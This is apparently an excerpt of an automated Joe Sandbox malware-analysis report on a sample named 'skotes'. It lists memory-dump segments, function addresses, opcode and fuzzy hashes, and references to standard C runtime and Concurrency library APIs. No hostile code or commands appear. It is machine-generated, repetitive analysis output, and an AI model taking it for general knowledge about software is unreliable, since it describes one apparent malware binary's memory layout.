Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: e156438cd6d6b68a4b0d149c94073ac8e84bb2e59ce79b43c562cb1c72d1b828
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 3B515F75A00219ABDB08DF64C495BEDB3B9BF48304F0844ADE915EB381DB30AE85CB90

Function 006252A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 006253A0
type_info::operator==.LIBVCRUNTIME ref: 006253C7
___TypeMatch.LIBVCRUNTIME ref: 006254D3
IsInExceptionSpec.LIBVCRUNTIME ref: 006255AE
CallUnexpected.LIBVCRUNTIME ref: 00625650

Strings

csm, xrefs: 006252E0
csm, xrefs: 0062534D
csm, xrefs: 006253FE

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 85f3099422ae14f6c040666a97d54d81b268bc79f9b9e8a82be0276afb9d491c
Instruction ID: 8b8cbd2e86d72fe42f2d1c197da9b1ebb8d6484f8172877708a33fd88ccb4db5
Opcode Fuzzy Hash: 85f3099422ae14f6c040666a97d54d81b268bc79f9b9e8a82be0276afb9d491c
Instruction Fuzzy Hash: 58C18671900E29EFCF25DFA4E8809EEBBBABF54311F14415AE8026B212D770DA51CF91

Function 00624840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00624877
___except_validate_context_record.LIBVCRUNTIME ref: 0062487F
_ValidateLocalCookies.LIBCMT ref: 00624908
__IsNonwritableInCurrentImage.LIBCMT ref: 00624933
_ValidateLocalCookies.LIBCMT ref: 00624988

Strings

csm, xrefs: 0062491D
S9b, xrefs: 00624925, 0062492E, 0062493F

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9b$csm
API String ID: 1170836740-392870675
Opcode ID: 5d687fc6e81ddd4965412393ada74966f39ffef7057a65166e7154169ceedca0
Instruction ID: 2aafa556372457aedbaf2d4dc9715d40df928d215e16dc3ad201cb125a225f3c
Opcode Fuzzy Hash: 5d687fc6e81ddd4965412393ada74966f39ffef7057a65166e7154169ceedca0
Instruction Fuzzy Hash: 70410634E10A299FCF10DF28E884ADE7BB6AF05314F148159F8195B392CB35DA45CF91

Function 00617364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 006173B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 006173F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 0061740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00617419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00617440

Strings

ppVirtualProcessorRoots, xrefs: 00617438
count, xrefs: 0061737E

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: cb2021408de255db066b69184370e80afc20075d87915a4708a85183d64ddea1
Instruction ID: 7fbf7f731456a8a1695cf18da2c0313961f9f957bceff8425460b90a0846a38b
Opcode Fuzzy Hash: cb2021408de255db066b69184370e80afc20075d87915a4708a85183d64ddea1
Instruction Fuzzy Hash: 85216234A00219AFDB14EF54C5959EEBBB7BF49310F1840A9E91597391DB30AE81CF94

Function 0060EE5F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0060EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0060EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0060EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0060EF0F
Concurrency::Context::Block.LIBCONCRT ref: 0060EF31

Strings

i`, xrefs: 0060EED0

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID: i`
API String ID: 1182035702-247970767
Opcode ID: b03b8fcd17513d8741a9fa63f79ec5e162ed2792f3d2697ed493cb6e2b617582
Instruction ID: 1e93655782213a621a10e00eb0b160d68c95a17f615ce8afd5591b253e4d9813
Opcode Fuzzy Hash: b03b8fcd17513d8741a9fa63f79ec5e162ed2792f3d2697ed493cb6e2b617582
Instruction Fuzzy Hash: A1218270C9022A9ADF7CDFA4C4456EFBBF2BF14320F10092DE151A62D1E7B24A84CB55

Function 006178E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00617903

Part of subcall function 00615CB8: __EH_prolog3_catch.LIBCMT ref: 00615CBF
Part of subcall function 00615CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00615CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0061792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00617936

Part of subcall function 00615CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00615D70
Part of subcall function 00615CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00615D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00617982
Concurrency::location::_Assign.LIBCMT ref: 006179A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 006179AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 006179BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 006179ED

Part of subcall function 0061691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00616942
Part of subcall function 0061691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00616965

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
